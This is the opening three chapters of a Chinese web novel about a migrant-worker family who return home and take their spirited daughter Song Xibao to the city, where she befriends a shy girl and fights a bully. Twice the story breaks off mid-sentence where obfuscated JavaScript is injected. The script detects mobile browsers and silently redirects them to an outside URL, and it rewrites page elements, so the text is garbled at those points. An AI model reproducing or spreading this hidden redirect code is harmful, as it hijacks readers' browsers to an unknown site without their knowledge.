《竹马他傲娇又绿茶》 1. 进城 七月中，天气正燥热。 新阳县汽车站外，几位蹬人力三轮的师傅守在树荫底下抽烟聊天，突然有人吆喝了一声：“来活咯！” 一位抽旱烟的老师傅忙抬起头打眼一瞧，原来是两辆跑长途的大巴车开进了站内。 坐长途大巴的人行李一般都不少。 老师傅笑得一口黑牙裹不住，收起旱烟袋子在鞋边磕了磕，把烟杆斜着往裤腰后面一别，麻溜儿地骑上车随同其余人一起骑到了出站口那边。 很快出站口便闹哄哄地涌出来一批人，行李箱、编织袋、蛇皮袋……笨重的行李随着人流一起被挤了出来。 站口接亲友的早摆好了架势，几位蹬三轮的师傅坐不住，索性也跟着迎了上去吆喝拉客。 宋卫国和谭淑媛两夫妻便是这返乡人潮中的一份子。 “卫国！卫国！哎哟……别挤了！”谭淑媛踮脚张望着老公宋卫国的身影，她身材细瘦，手里还提着个大包，被两边的人挤得就像根原地打转的细棍。 宋卫国身上行李更多，背上背着一大包不说，手里还提着两包。 他原本都跑出去了，一看媳妇儿还在人堆里面，又忙折回去拽驴似的把她给拽了出来。 谭淑媛站定后第一个动作就是先低头检查身上的新裙子有没有被扯坏，发现裙子完好无损只是稍微有些皱了后便指着“新阳县汽车站”的牌子好一通抱怨道：“这修的什么破汽车站！出站口就两三个人宽，出设计图的人脑子进水了吧！” 谭淑媛是艺术团出身，早年在团里那可是号称百灵鸟！不光唱歌嗓门又灵又亮，骂起人来那也是穿云裂石。 再加上她脸盘长得好，身材也好，穿上时兴的鹅黄波点裙往那儿一站，水灵灵的就跟那挂历画上的模特似的。 一时间，所有人甭管站内站外的都朝她看了过来。 宋卫国是个憨厚腼腆的人，最不习惯这样被陌生人盯着，见状忙将行李都腾到一只手上，然后哄着劝着拉起谭淑媛走开了。 出站口的路边停着一溜儿三轮车，几个师傅围上来拉客，热情得宋卫国跟这个走也不是跟那个走也不是。 谭淑媛才不管那么多，左右一瞧，拉起宋卫国就上了抽旱烟的老师傅的车。 老师傅成功“守株待兔”，对着几个同行得意地眯眼笑了。 他把烟杆斜着往后腰一插，脚踩上脚踏蓄势待发问：“去哪儿？” 两口子对视一眼，谭淑媛说：“先去趟北门市场吧，我们要买点东西，然后再去先锋村四队。”又问，“多少钱？” 老师傅浑浊的眼睛转了一骨碌，报价道：“十块。” “这么贵！”谭淑媛眼睛瞪大了，前几年回来坐车才三块钱呢！ 老师傅说：“你要往北门菜市场去，再去先锋要绕一圈路晓得不？你还要买东西，我还要等你，不耽搁我时间啊？” 老师傅说话语气有点冲，谭淑媛听得不舒服，脖子一伸还想讲价，结果被宋卫国轻拽了一把。 谭淑媛不情不愿地瘪瘪嘴，坐好了没吭声。 宋卫国笑着说：“师傅，麻烦了哈！” 老师傅说：“要得，坐好咯！” 他们到了北门菜市后，谭淑媛留宋卫国在车上看行李，自己进去逛了一圈，买了点牛肉，鱼，还有猪耳朵，然后又买了两只卤鸭子拎上，前后差不多花了十分钟时间。 谭淑媛再上车的时候，老师傅看她拎得满当当的两只手，笑说他们这是要回去过年了哦！ 宋卫国叹口气，给老师傅解释说他们两口子出门打工快八年了，前面几年过年还回来一趟，最近三年连过年都没回来。 言下之意，这好不容易回来一趟，可不得往家多拎点东西嘛！ 路上宋卫国和老师傅闲聊起来，才知道原来老师傅也是先锋的人，不过是二队的。 老师傅问他们是四队哪户人家，宋卫国报了父亲宋定邦的名字。 老师傅一惊，脚下跟着停了下来，转头道：“你是老宋他儿子啊！” 看来还是个熟人，谭淑媛好奇之下也换上了笑脸，问老师傅认识她公公吗？ 老师傅“嘿”了一声，说：“看你说的，先锋这几队的人，家家户户谁不认识老宋啊！那以前他当猎户那会儿我们就知道他，我年轻时候还跟着他往山里跑过几趟嘞！” 三人说话间，车轮再次转动起来。 先锋虽说是个村，但其实距离县城并不远，都不用坐汽车，就算是走路，最多半个小时也就进城了。 路上，老师傅又说起俩人的闺女，宋西宝。 谭淑媛生下西宝那年才二十三岁，那会儿她已经从省艺术团退了，原因嘛很复杂，甚至还牵连了当时正在当兵的宋卫国。 生下西宝后没多久两口子就为了生计外出打工了，头几年还回来得勤，后来心疼路费开支，就没怎么回来了。 谭淑媛早在退艺术团那年就跟父母兄弟断绝了关系，因此这些年西宝一直是交给爷爷奶奶在带。 三年没见女儿了，谭淑媛兴冲冲地支起耳朵听，但听着听着，她逐渐觉得有点不对劲——这怎么跟她想象中完全不一样呢？ 谭淑媛想象中自己女儿长大了该是大家闺秀一样的温婉淑女，但……这怎么听老师傅描述的她闺女就跟那混世魔王似的呢？ 据老师傅描述，混世魔王宋西宝，那可谓是打遍先锋无敌手！ 其战绩：上至偷八十岁老太假牙，下至抢三岁孩童棒棒糖，总而言之，只有你想不到，没有她做不出！ 她爷爷宋定邦每天拿着戒尺满村子找她已经成了先锋村一景，而据她本人供述，她之所以屡教不改，完全是因为心疼她爷爷年纪大了腿脚不好使，想让她爷爷借机多活动活动腿脚。 瞧瞧，多么有孝心的娃啊！ 可真够心疼她爷爷的！ 谭淑媛听得哭笑不得，宋卫国倒是满不在乎，还一个劲儿傻乐。 三轮车刚骑过村委会的时候宋卫国就喊停了。 老师傅还在纳闷，拎起挂脖的汗巾抹了把脸，说：“咋了？这还没到地方呢！我给你俩拉门口去啊！” “不了不了，就到这儿就行了，也没几步路了。” 谭淑媛边说边急匆匆撇开行李下了车，又从挎包里拿出一卷子钱，数出几张，塞进老师傅手里。 她是个心软的人，前面听说老师傅跟家里人都认识后，再坐车就感觉浑身别扭。 尤其是现在天又热，老师傅早蹬出了一身热汗，蹬车的时候谭淑媛瞧他两边膀子的肌肉都绷得死紧，也不知要使多大力气。 老师傅一看谭淑媛塞过来的钱，嘿哟一声忙还了回去，连声道：“哪儿收的了这么多哦！都是乡里乡亲的，算了算了！” 宋卫国说着“这怎么行”，连忙又将钱递了过去：“叔您就收下吧！” 老师傅：“不行不行！” 三人正在那儿僵持，忽听得一声脆生生的：“爸、妈——”传了过来，谭淑媛扭头一瞧，正好瞧见半人高的宋西宝撒着欢儿从桥那头跑了过来。 宋卫国一看闺女来了，把钱往座位上一放，拎起大包小包就冲了出去。 宋西宝大喊一声“爸爸”张开双手扑了过来，宋卫国“诶”了一声，扔下行李，一把接住女儿将她举高飞了起来。 父女俩转着圈，宋西宝笑得跟鸡打鸣似的。 谭淑媛看着这一幕，想起这些年在外面的艰辛酸楚，想起一家人的分离，鼻头有些发酸。 她本来还担心离家三年女儿跟自己不亲热了，哪想宋西宝一见着她过来立刻就松开爸爸转而扑向了她。 谭淑媛被女儿搂得紧紧地，宋西宝一个劲儿地往老妈脖子那儿贴闻她身上的味道。 谭淑媛被她的小鼻子弄得痒得不行，只好边笑边躲。 忽然，宋西宝直起身来，葡萄似的大眼珠子一本正经地盯着她，说：“妈妈，你身上的味道变了，不是你围巾上的那个味道了。” 谭淑媛听见这话，脸上的笑一下子僵住了。 待回过味，刚压下去的眼泪立刻就复涌了上来，吓得一旁的宋卫国忙凑上前来，却又不知如何安慰是好。 宋西宝说的“围巾”是三年前谭淑媛留给她的。 三年前的春节，各地春运回乡的人数暴涨，宋卫国和谭淑媛因为赶工期晚了一步没买着车票，还是最后车站出了趟高价的加班车他俩才有机会赶着除夕夜回到了老家。 后来两口子才在家里待了三天，年都还没过完，打工那边的老板签了一批订单要加急出，急用人，打来电话催他俩回去上班，工钱开双倍，还报销来回路费，他俩为了多赚点钱，便咬咬牙答应了。 他们走的那天，天还下着小雨。 谭淑媛和宋卫国早上五点就起来了，刚准备走宋西宝醒了，在床上哭腔着喊妈妈。 宋定邦催他俩要走就赶紧走，但谭淑媛实在舍不下，走出两步又放下行李折了回去，抱着女儿哄了半天，直到把她重新哄睡着，夫妻俩才离开。 临走前，谭淑媛解下脖子上戴的围巾放在了西宝的枕头边上。 三年，谭淑媛难以想象女儿是如何靠着一条围巾来思念和想象她的。 宋西宝不知道妈妈在哭什么，但还是本能地想要替她擦掉眼泪。 她一边擦，一边小大人似的皱着眉毛，劝谭淑媛道：“妈，你别哭了，奶奶说女人要少哭，哭多了哭成习惯以后就会有流不完的泪。” 谭淑媛因为她这话顿时破涕为笑，旁边手足无措的宋卫国总算松了口气。 谭淑媛吸吸鼻子，抬手摸了摸女儿柔软黑亮的头发，惊觉这三年她长高了不少。 宋西宝今年七岁多，再有一个月就满八岁了。 按理说她这个年纪的女孩，身高一般也就一米二三左右，但她的身高却快到她爸爸肚子那儿了。 要知道宋卫国身高有一米八几，到他肚子那儿差不多就是一米五左右。 先前蹬车的老师傅说她天天到处惹事还跟男孩打架谭淑媛本来还有点不太相信，但现在再看就可信多了，毕竟个头摆在那儿。 临近饭点，家家户户都传出了饭香，宋西宝着急地拉着他俩往家走，边说：“奶奶知道你们今天回来，做了一堆好吃的，爷爷高兴得三天都没打我了。” 谭淑媛：“……” 宋卫国：“……” 宋定邦背着双手站大门那儿望了半天，眼睛都望疼了才瞧着两大一小三个人影过来。 瞧着人了也就对了。 老头儿背着手又踱回了屋里，翻箱倒柜地翻出了过年人家送的两瓶好酒来。 “爸！妈！”宋卫国进门就喊。 宋西宝也跟着喊：“爷爷，奶奶，爸妈回来了！” 厨房里隋玉棠正在忙活，听见声儿赶忙撂下手上东西走了出来。 老太太一见着人，脸上乐开了花，双手张开迎上前——宋卫国懂事地把脸递了过去，老太太捧着捏圆搓扁一阵，满意了，又拉着儿媳妇上瞧下瞧，瞧得谭淑媛脸都烫了。 “妈……”谭淑媛回握住婆婆的手，明显感觉隋玉棠头上白发变多了，一时间又有些眼热。 她跟自己亲爸妈感情破裂了，但跟这一对公公婆婆感情却极好，尤其是婆婆隋玉棠，当年从她怀孕一直到生完孩子坐月子，前前后后那么长时间都是婆婆一个人照顾她，事无巨细。 他们两口子决定外出打工那会儿，隋玉棠还把自己存的折子取出来给了她，就担心她在外面没钱受委屈。 宋家老两口，宋定邦从前是个猎户，后面转做了村小的教师，前两年退休了又当起了木匠；而隋玉棠则是十里八乡都有名的女裁缝，一手绣活儿精妙绝伦，县政府都来人采访过的。 隋玉棠接过儿媳妇手上的东西，一边拉着她往里屋走，一边嘴里不住地念叨：“买这么多东西干嘛呀！家里都有……” “也没买什么……”谭淑媛小小声地争辩。 婆媳俩说着话到了里屋，宋西宝因为好奇她妈带回来的东西也跟着去了。 另一边，宋卫国到厅屋里找到了父亲宋定邦。 老爷子年纪大了，背也弯了，正弓着身子在那儿擦酒杯呢！ 宋卫国喊了声爸，宋定邦这才慢悠悠转过身上下瞧了他两眼。 宋卫国一下站直了，好像军人接受检阅似的接受着父亲的审视。 “还行，看着胖了点。”宋定邦笑眯眯的。 宋卫国一下放松下来，笑着上前接过宋定邦手里的酒杯，爽朗道：“爸，今天中午儿子好好陪你喝两杯！” 最后一家人坐上桌吃饭，没想到却是儿媳谭淑媛先提了杯酒。 她动情道：“爸、妈，这些年你们辛苦了，我敬你们一杯！” 她说完，宋家老两口还来不及阻止，她便仰头一饮而尽了，随即辣得小脸一皱，张嘴吐舌，刺激得眼泪花都出来了。 宋卫国哭笑不得地给她递水，谭淑媛呛咳了半天，一张粉白脸变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以思来想去，夫妻二人便收拾了所有家当回来了，打算在老家这边闯荡。 饭桌上，宋家老两口听完儿子儿媳的话都陷入了沉默。 沉默肯定是因为舍不得。 毕竟西宝这孩子打从生下来就在他们老两口眼前转，这么些年了，虽说她调皮些，但家里正因为有了这么个活泼的孩子，才显得热闹。 孙女这一走，恐怕这家里就太“静”了。 谭淑媛说：“爸妈，你们放心，只要一有空，比如学校放小长假什么的，我跟卫国肯定带着孩子回来看你们。或者等我俩经济上宽裕些了，我们就把您二老一起接去市里生活。你们也知道，我跟我自己爸妈都成仇人了，我也没别的亲人，肯定是把您二老当亲爸妈的，我……” 谭淑媛说着说着语气就有些着急，生怕爸妈误会了她，觉得她是个白眼狼。 宋卫国安抚地揽住她肩用力握了握，隋玉棠也慈爱地拉过她手握住，说：“淑媛啊，不急，不急啊，我跟你爸爸不是老古板，你们说的这些我们都懂，都理解，宝宝你们想接去市里读书就接过去，做生意的事我跟你爸爸，我们也不懂，你们觉得好就去做，我跟你爸多的没有，一两万还是有的。” “妈，我们哪还能要你们钱呢！”谭淑媛说着，眼泪都下来了。 宋定邦搁下筷子，严肃道：“一家人不说两家话，你们夫妻俩要干事业就好好干！用心干！我跟你们妈妈全力支持。还有就是宝宝读书这个事，这是个大事！你们要仔细安排，我跟你们妈妈在家里不用你们操心，现在也有电话，什么都方便。” 夫妻俩连连说是，于是接宋西宝回市里读书的事就这么定了下来。 谭淑媛从前在艺术团的时候有个要好的手帕交叫古晓琴，是舞蹈队的，谭淑媛退团半年后，古晓琴也退了，原因是为了结婚。 跟古晓琴结婚的男人名叫程方舟，是个老师，为人儒雅随和，可惜有个不好相与的母亲——程妈妈思想比较传统，要求古晓琴如果要跟她儿子结婚的话就必须从艺术团退出来，全心全意在家相夫教子。 古晓琴不想程方舟夹在中间为难，再加上因为谭淑媛的遭遇她对艺术团也没了好感，于是便答应了。 她俩是在同一年结的婚，后来又在同一年生下了各自的孩子。 谭淑媛生了个女孩取名叫宋西宝。 古晓琴生了个男孩取名叫程书逸。 谭淑媛这趟回云市，一无根基、二无资源，能求助的就只有好朋友古晓琴。 决定从深城回来的时候，她就联系了古晓琴，托对方帮自己先找个落脚的地方。 古晓琴一听，直接说这好办啊，她们家现在住的小区——梧桐苑，正好有房东招租！ 解决完落脚的问题，接下来最重要的就是赶在九月份开学前办好宋西宝转学的相关手续，以及寻找合适的商铺。 转学这个问题，原本他们两口子还有点担心手续什么的不好办，结果程方舟听说后，直接找学校的朋友帮了忙，加急把宋西宝的学籍转到了梧桐一小。 古晓琴还说：“我们家小逸也在梧桐一小读书，以后两个孩子上学就有伴了。” 亟待解决的事好像如有神助一般一件件都处理好了，在老家待了几天后，谭淑媛和宋卫国回了趟市里，一边收拾新家，一边顶着毒日头在周边寻觅空商铺，最后皇天不负有心人，总算让他们如愿在家附近的菜市场接手了一家转让的铺子。 八月初，宋家两口子准备带着宋西宝回市里了。 原本谭淑媛担心宋西宝会舍不得爷爷奶奶，还预备了好些说辞准备哄她，结果宋西宝一听爸妈要带她去大城市吃喝玩乐，高兴得头天晚上自己就把自己的行李给收拾好了。 谭淑媛哭笑不得地问她难道不会舍不得爷爷奶奶吗？ 宋西宝吸溜了下鼻涕，反问：“咱们以后不回来了吗？” 谭淑媛说：“当然不是！等你放假了就回来看爷爷奶奶。” 宋西宝眉毛一扬，稚嫩的声音里满是潇洒：“那不就得了！我去城里好好改造，等挣了大钱，我就把爷奶接去城里跟咱们一块享福呗！” “……”谭淑媛，“是读书不是改造。” “读书就是改造！”她边说边顺手抹了把鼻涕，“我爷说的。” 谭淑媛：“……好吧。” 2. 小弟 刚到大城市的头几天，宋西宝还乐呵呵的，爷爷奶奶给她打电话问她适不适应，她还大言不惭地说自己能适应。 结果就适应了两天，她就出现“排异反应了”。 原因是爸妈因为铺子搞装修的事总是把她一个人锁家里，不让她出门！ 她又不是犯人！ 以前在老家，爷爷怕她出去捣蛋，也总把她锁家里。 不过老家是平房大院，爷爷锁了大门，她还能翻墙，还能上房顶，反正总能找到办法溜出去。 现在好了，到了城里，她家住七楼楼房，她想翻墙之前得先掂量掂量自己身上这把骨头够不够结实耐摔。 宋西宝郁闷了两天，决定给爸妈写封抗议信。 她把写好的信偷偷压在爸妈枕头底下，当天晚上，谭淑媛就发现了这封信。 夫妻俩在店里忙活了一天，浑身脏兮兮的，回到家连澡都没来得及洗，先凑在灯下看起了这封信。 只见那信上写着： 亲爱的爸爸、妈妈： 你们好。 我写这封信是因为我要抗议！我要抗议你们没有理由的关我禁闭！这是不对的！ 以前爷爷关我禁闭都是因为我犯了错，现在我没有犯错，却被你们关在家里不让我出去，这对吗？你们怎么比爷爷还不讲道理？ 我抗议这样的生活！如果你们要继续这样，那么我想回爷爷家去，但如果你们愿意改正，我可以继续跟你们住，希望你们认真思考一下我的请求！我不是犯人！ 写信人：宋西宝 时间：X年X月X日 这不是夫妻俩第一次收到女儿的信了。 过去在外面打工的时候，谭淑媛便总是寄信回老家，宋家老两口收到信后就会念给小孙女听，等她稍微大一些开始识字了，老两口便开始教她写回信。 夫妻俩最早收到的回信里大部分都是拼音夹杂歪歪扭扭的汉字，后来拼音越来越少，汉字越来越多，宋西宝的字也写得越来越规整。 不过以往的那些信都是爷爷奶奶教她回的，这还是夫妻俩头一次收到闺女自己给他们写的信。 宋卫国看完信后满脸都是欣慰，乐呵呵地揽住妻子道：“咱闺女这信写得真有文采！有理有据！我瞧她这个中心意思表达得也很清楚，以后上学写作文应该不用我们操心了，说不定将来要当个大作家哦！” 谭淑媛扭捏地笑了一声，虽然心里也是这么想的，但嘴上却矜持得很，还白他一眼，反问：“一封信就看出文采啦？” 宋卫国说：“那可不？”又凑到她耳朵跟前悄声道，“我当初给你写的那些信我觉得就很有文采啊！咱闺女就是随了我了，天生笔杆子好。” 谭淑媛听得满脸嫌弃，作势要推开他。 宋卫国搂着她，接过那封信看了又看，嘴里叹气似的嘀咕着：“咱闺女这脾气长大了，也是个有个性的人呐……” 谭淑媛知道他没说出口的下半句话是什么——越有个性的人，越容易受欺负吃亏。 她岔开话题道：“明天我跟宝宝好好谈一谈，确实咱们这么老关着她也不是个办法。” 宋卫国点头道：“你跟她说明利害关系，不要往陌生的危险的地方跑，就在小区里找小朋友玩是可以的，我看咱小区里不是有好些孩子吗？就给咱弄装修那个周老板，他们家也住梧桐苑，听说是有个儿子，好像跟宝宝差不多年纪。” 话说到这儿，宋卫国突然想起晓琴他们家那个儿子来，一拍大腿道：“差点忘了！咱们都搬来这么久了，这还没上晓琴家去看看呢！人家帮了咱们这么多忙，这……” 谭淑媛打断他道：“嗐，怪我，都忘跟你说了，晓琴那个婆婆生病走了，上礼拜三走的，他们一家人收到消息当天连夜就赶回老家去处理后事了。” “哦哦。”宋卫国点点头，又问，“什么病走的？” 谭淑媛摇头，说：“不清楚，电话里她没详细说。”又说，“嗐，她那个婆婆，脾气古怪得很，看她自己亲儿子都不顺眼，跟家里人怄了一辈子气，咋不生病嘛！” 宋卫国又问：“那咱们不去啊？” 谭淑媛说：“我问了，晓琴不让咱们去，这么多年了……她心里怨气也大，现在总算可以过点清净日子了。” 宋卫国说：“那好吧。”又叮嘱她，“那你还是别忘了给人家送份人情。” 谭淑媛像是嫌他啰嗦似的笑容透出几分无奈，嘴上连声道：“知道啦知道啦！” 第二天上午，被父母大人批准重获自由的宋西宝甩着马尾辫大摇大摆地出了家门。 这会儿时间还早，小区里净是些少觉起早的老人。 宋西宝手里拿着热腾腾的大肉包边走边啃，见人就喊爷爷好、奶奶好，讨喜的模样惹得小区里的老人们主动招呼她到面前，又是摸脸又是给零嘴，问她是谁家的孩子？ 宋西宝也不声怯，大大方方地说：“我是老宋家的孩子！我爸叫宋卫国，我妈叫谭淑媛！” 老人们都笑，像是难得见着这么一个乖巧活泼的孩子。 宋西宝在小区里巡了一圈，没见着同龄玩伴，正准备打道回府，结果又在她家隔壁栋的楼下瞧见了一个小女孩。 小女孩看起来瘦瘦小小的，穿一件红白色的条纹半袖，发型是齐耳蘑菇头，脸上架着一副红色框架眼镜，正蹲在楼下的草丛边不知道在干什么。 宋西宝溜溜达达地走过去，突然逼近的身影促使小女孩抬头往旁边看了一眼。 这仓促的一眼只来得及在宋西宝心里留下一个印象：她脸好小。 宋西宝正准备跟她打声招呼，结果小女孩又把头转了回去，一副不打算跟她交流的模样。 宋西宝天生心大，也不觉得有啥，索性在她旁边蹲了下来。 她蹲下来后才发现，原来小女孩面前掉了个不知道被谁咬掉一口的大包子，而旁边几只蚂蚁正围绕着这山一样的包子急得团团转。 小女孩看起来像是在观察这几只蚂蚁，看得聚精会神的。 宋西宝看看小女孩，再看看蚂蚁，心里虽然觉得奇怪，但面上却没吭声。 很快，那几只蚂蚁似乎想出了解决办法，它们迅速没入草丛里不见了身影，宋西宝正奇怪呢，过了会儿，只见草丛里陆陆续续又出来了更多的蚂蚁。 这些蚂蚁成群结队，很快就黑压压的将包子围出了一圈黑边。 原来是去通知大部队了！有意思！ 宋西宝笑了一声，看得有点高兴，便索性盘腿坐在地上看。 旁边的小女孩透过镜片好奇地打量了她一眼，宋西宝朝她看过去，小女孩仿佛受惊一般，立刻收回了目光，坚决不肯与她对视。 蚂蚁们围着包子山商量了半天，最后决定效仿愚公移山，先从破口处搬起。 看到蚂蚁们经过不懈努力终于成功抬起一小块笋片时，宋西宝不由自主地“哇”了一声。 小女孩被这声“哇”惊动，又忍不住斜着眼睛看了她一眼。 宋西宝还没来得及说点什么，这时，两人身后突然传来一阵大笑。 宋西宝回过头看，发现是俩男孩。 俩男孩一个高点一个矮点，高个的穿着蓝白条纹背心加黑色短裤，胳膊和脸瞧着都肉乎乎的。 而另外一个矮个的就有点偏瘦了，瞧着跟棵豆芽菜似的，鼻梁上同样架着副眼镜，不过是黑框的。 发出笑声的正是那个胖一点的男孩，只见他手指着小女孩跟旁边那棵豆芽菜说：“方思彤那个傻子又在那儿喂她那蚂蚁哈哈哈哈！” 男孩声音并不收敛，宋西宝看看小女孩，发现她就跟没听见一样，一点反应也没有。 胖男孩又朝宋西宝喂了一声，说：“你新来的吧？以前没见过你啊，你叫什么名字？” 宋西宝一瞧他那嚣张的表情就不太爽，直接转过头没搭理他了。 胖男孩从鼻孔里哼出一声，还是跟身旁那棵沉默的豆芽菜说：“得，梧桐苑有个傻子，现在又来了个聋子。” 宋西宝听见这话，正准备起身同他较量较量，结果身旁那位自始至终沉默的小女孩忽然伸出手拉住了她，平静的眼神定定地注视着她，不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879941|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话，但也不让她动。 俩男孩很快觉得无趣离开了。 小女孩收回手又专心致志地看起了蚂蚁搬家，宋西宝忍不住问：“你刚没听见他俩骂你傻子啊？” 小女孩看她一眼，又收回视线，就在宋西宝以为她不会说话时，小女孩开口了，她说：“听见了。” 宋西宝无语：“那你怎么不反击啊？” 小女孩：“我不想反击。” 宋西宝：“为啥？” 小女孩：“我打不过蒋博光。” 宋西宝：“……” 宋西宝问：“那胖子叫蒋博光啊？” 小女孩嗯了声，又说：“他旁边那个叫周笃文。” 粥堵文？宋西宝眉毛皱皱，什么乱七八糟的破名字。 宋西宝又问她：“那你呢，你叫啥名？” 小女孩有些拘谨地抿了抿唇角，说：“我叫方思彤。思念的思，红彤彤的彤，你呢？” 宋西宝乐了一声：“我？我叫宋西宝。” 宋西宝报完名字朝她笑了笑，大概是感受到了善意，方思彤也朝她微微一笑，然后就又低下头继续看蚂蚁不说话了。 宋西宝想起刚刚蒋博光说的话，问她：“这包子是你故意放这儿喂它们的吗？” 方思彤点点头，小声说：“它们是我养的宠物。” 宋西宝：“啊？” 宋西宝从小在村里见过人养猪羊牛马、鸡鸭狗猫，还有养鸟的，就没见过养蚂蚁的。 她觉得新鲜，凑近了些问：“那它们知道你是它们主人吗？” 这个问题似乎难住方思彤了，她想了半天没答上来，只是说：“我每天都来喂它们，它们到时间就会出来吃饭。” 宋西宝乐了，指着地上那个大包子说：“那你这喂得也太凶残了，待会儿它们还没吃饱呢先累死了。” “哈哈哈。”方思彤被她说的话逗乐了。 宋西宝也觉得自己说话挺逗，跟着她笑了起来。 笑够了，宋西宝又问：“你为啥要养蚂蚁啊？” 方思彤说：“因为我觉得蚂蚁跟我很像。” 宋西宝不理解：“你们哪像了？” 方思彤小声嘀咕道：“大家都觉得蚂蚁很弱小，很不起眼，又很容易被毁掉……”她看向宋西宝，“但是蚂蚁自己不会觉得自己弱小，它们都很喜欢自己，它们躲在自己的小世界里每天都很快乐。” 宋西宝：“……” 叽里呱啦说啥呢？ 老实说，宋西宝压根没听懂方思彤在说啥，什么蚂蚁什么小世界的，她只是觉得方思彤看起来怪怪的，跟她从前在村子里认识的小伙伴都不一样。 不一样，就意味着新鲜感。 宋西宝决定认下方思彤这个新朋友，她站起身两手往裤兜里一抄，说：“方思彤，你要不要跟我一起玩？” “玩什么？”方思彤望着她。 宋西宝想了想，说：“你想玩什么我都能带你玩。” 虽然不明显，但是宋西宝还是注意到她眼睛睁大了一点。 方思彤说：“那你能带我去抓蟾蜍吗？” “蟾蜍？”宋西宝眼珠子转了一骨碌，说，“你是说癞蛤蟆吗？” “嗯。” 宋西宝大方应承道：“没问题！”话音一转，“不过你得先认我当老大！” 方思彤糊涂了：“为什么？” 抓癞蛤蟆跟认她当老大有啥关系呢？ 宋西宝理直气壮道：“你不认我当老大，我怎么带你玩？” 方思彤似懂非懂的哦了声。 宋西宝看出她有点犹豫，于是加重砝码道：“你要是认我当老大，以后那个蒋什么光的要是再敢欺负你，你就跟我说，我揍他。” 方思彤问：“你想保护我？” 宋西宝没明白自己那话怎么落她耳朵里就成自己想保护她了，不过都一样，随便吧。 她再次点头，还是酷酷的模样和语气，说：“你就说你愿不愿意吧！” 方思彤傻乐起来，说了句：“好啊。” 3. 战书 城市里癞蛤蟆虽然少见，但并不是没有。 梧桐苑里树多草也多，有些潮湿的草丛里就可能会有癞蛤蟆。 为了捉癞蛤蟆，宋西宝特地从谭淑媛房间里偷拿了一坨毛线，然后又在小区里找了几根细铁丝，自己做了个小网兜。 方思彤惊讶于她的“专业”，宋西宝看她一副没见过世面的样子，得意道：“这算什么？我以前还抓过蛇呢！” “你还抓过蛇？！”方思彤眼睛瞪大，明显被她给唬住了。 宋西宝哈哈大笑，说：“哈哈，我骗你的！” 方思彤一脸呆萌地望着她，宋西宝莫名心虚，又赶紧往回找补道：“虽然我没真的抓过蛇，但是我抓到过野兔子！野兔子你知道吗？比蛇还难逮，我爷爷都不一定逮得到，所以你放心吧，我肯定能给你抓到癞蛤蟆！” “嗯！我相信你！”方思彤很给面子地朝她点了点头。 可惜“癞兄”并不愿意给宋西宝这个面子——抓癞蛤蟆的工具制作好后，她们连续在小区里面找了两天都没找到癞蛤蟆。 第三天晚上，宋西宝到方家敲门，又找方思彤一起出去，结果方思彤一脸衰样对她说自己下午跟爸爸吵架了，被罚今晚不能出去玩了。 宋西宝很讲义气，承诺道：“没事，我今天晚上肯定给你抓到，明天上午咱们还是老地方不见不散。” 方思彤重重点了下头：“嗯！” 第二天一早，方思彤几口塞完早饭便下楼去大梧桐树那儿等宋西宝，果不其然，没多久宋西宝就拿着个饮料瓶出现了。 “喏！”宋西宝把瓶子递给她。 方思彤接过来一看，发现这癞蛤蟆好小一只，还没她半个手掌大，身上那花纹看着也跟她在科学杂志上看到的有点不太一样。 俩小姑娘趴在石桌上看了半天，宋西宝好奇地问：“你抓癞蛤蟆干啥？” 方思彤说：“我在书上看到蟾蜍脱衣的照片，感兴趣，就想捉一只亲眼看看它是怎么脱衣的。” “哦。”宋西宝假装听懂了点点头。 她俩正说着话呢，蒋博光带着那棵豆芽菜又出现在了两人面前。 蒋博光来者不善，一来就伸手问方思彤要她手里那个瓶子，方思彤不给，他还想硬抢！ 宋西宝怎么可能眼睁睁看着自己小弟被别人欺负，当即便加入战局抬脚踹了过去。 这是方思彤第一次看见宋西宝打架，她才知道原来女孩子打架也可以这么吓人！ 方思彤觉得宋西宝好像不怕疼似的，被蒋博光一把掼倒在地手肘都擦破皮了也不吭一声，反而表情更加凶狠，爬起来就往蒋博光身上撞，拳打脚踢用嘴咬，反正哪儿能使得上就用哪儿。 蒋博光很快就被她这打法给吓着了。 他心里发虚，手上自然就跟着生怯，宋西宝瞅准时机，把他扑倒在地骑在他身上就是一通乱揍。 蒋博光被揍哭了。 他眼泪鼻涕一起糊了满脸，一会儿叫妈妈，一会儿叫奶奶，旁边他的豆芽菜朋友就跟木头似的立在那儿，不帮忙也不求情，不知道是不是吓傻了。 宋西宝看他哭了，不屑地呸了一声，从他身上起来了。 方思彤忙跑上前抓起她的胳膊看，一脸严肃道：“老大，你受伤了。” 听见方思彤叫宋西宝老大，豆芽菜明显有点惊讶，地上狼狈的蒋博光也止住了哭声，抽抽搭搭地看着她俩。 宋西宝打完人还不忘放狠话，她挥舞着拳头对蒋博光说：“你以后离方思彤远点，再找她麻烦我还揍你，呸！” 宋西宝拉着方思彤走了。 直到走出老远，确认蒋博光他们没跟上来了，宋西宝才敢龇牙咧嘴地倒吸了几口冷气。 旁边方思彤手足无措地看着她。 宋西宝自己把自己身上的泥土碎渣那些给拍干净了，然后走到清洁池那儿放水洗了洗左边手肘的擦伤。 方思彤跟了上来，小声问她要不要紧？ 宋西宝乐了一声，说：“没事儿，我以前在老家跟人打架脑袋都打出血过，这点伤不算啥！” 其实实情是她跟人打架的时候不小心撞到额角了，破了点油皮冒了点血珠珠，不过为了在方思彤面前充面子，宋西宝不由自主地吹起了牛皮。 方思彤显然是相信了，震惊地看了眼她目前完好无损的脑袋，问：“你打架这么凶啊？你为什么跟他们打架啊？” 